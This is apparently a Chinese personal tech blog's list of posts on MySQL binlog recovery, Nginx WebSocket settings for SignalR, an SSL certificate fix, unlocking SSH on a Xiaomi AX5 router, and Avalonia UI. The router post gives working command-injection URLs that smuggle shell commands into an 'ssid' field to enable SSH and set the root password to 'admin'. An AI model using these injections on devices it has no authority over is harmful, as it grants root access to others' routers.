xiaoyaocz 发布的文章

1、确保log_bin已开启

show variables like '%log_bin%';

2、查看bin_log文件目录

show variables like '%datadir%';

QQ截图20210716101452.png

3、进入bin_log文件目录,找到日志文件,文件名为mysql-bin.000xxx

cd /www/server/data/
ll

QQ截图20210716102437.png

4、复制mysql-bin文件,防止后续操作对其造成影响
5、使用mysqlbinlog(在mysql/bin目录中)工具,将日志导出sql

mysqlbinlog -d [database] mysql-bin.000006 > 006bin.sql

6、编辑导出的sql文件,将误删除语句剔除
7、执行sql文件

mysql -u root -p 123456 [database] < 006bin.sql 

搞定。

1、SignalR前端连接失败,出现以下错误

Failed to start the transport 'WebSockets': Error: There was an error with the transport.

问题:Nginx不支持WebSocket
解决方法:需要修改Nginx配置

location /hubroute {
  # Configuration for WebSockets
  proxy_set_header Upgrade $http_upgrade;
  proxy_set_header Connection $connection_upgrade;
  proxy_cache off;
  # WebSockets were implemented after http/1.0
  proxy_http_version 1.1;
}

文档:https://docs.microsoft.com/zh-cn/aspnet/core/signalr/scale?view=aspnetcore-5.0#linux-with-nginx

2、HttpClient https请求出现证书问题

The SSL connection could not be established, see inner exception. The remote certificate is invalid according to the validation procedure.

解决方法:将系统证书复制到OpenSSL目录中

cp /etc/pki/tls/cert.pem /usr/local/openssl/

1、登录路由器获取stok
即URL里的stok参数
http://miwifi.com/cgi-bin/luci/;stok=xxxxxxxxxxxxxxxxxxxxxxx/web/home#router

2、打开以下URL打开ssh
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

返回{"code":0}则成功

3、修改默认密码为admin
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

以上方法固件1.0.26测试通过

QQ截图20210129104722.png

MIXBOX:
https://github.com/monlor/MIXBOX-ARCHIVE

旧版固件下载:
http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra67/miwifi_ra67_firmware_63805_1.0.16.bin

http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra67/miwifi_ra67_all_f3fac_1.0.26.bin

来源:
https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=4032490&highlight=ax5&mobile=2

Avalonia UI是一个.Net Core跨平台UI框架,支持多种操作系统:Windows、Linux、MacOS等。

一、跑个Hello World
1、安装Avalonia扩展
VS安装此扩展

https://marketplace.visualstudio.com/items?itemName=AvaloniaTeam.AvaloniaforVisualStudio

安装完后打开VS,创建一个Avalonia项目

QQ截图20201203222458.png

创建完项目后生成一下即可在VS中实时预览

QQ截图20201203222732.png

二、跑在Linux上试试

既然Avalonia支持跨平台,那在Windows上运行没问题后,把文件打包一下,发到Linux上试试能不能跑起来,我这里用得统信UOS

右击项目选择发布,设置一下发布文件

QQ截图20201203223550.png

将发布文件复制到UOS中,双击HelloAvalonia文件添加权限即可直接打开,也可以终端中输入命令./HelloAvalonia打开
(UOS需要打开开发者权限)

QQ截图20201203224101.png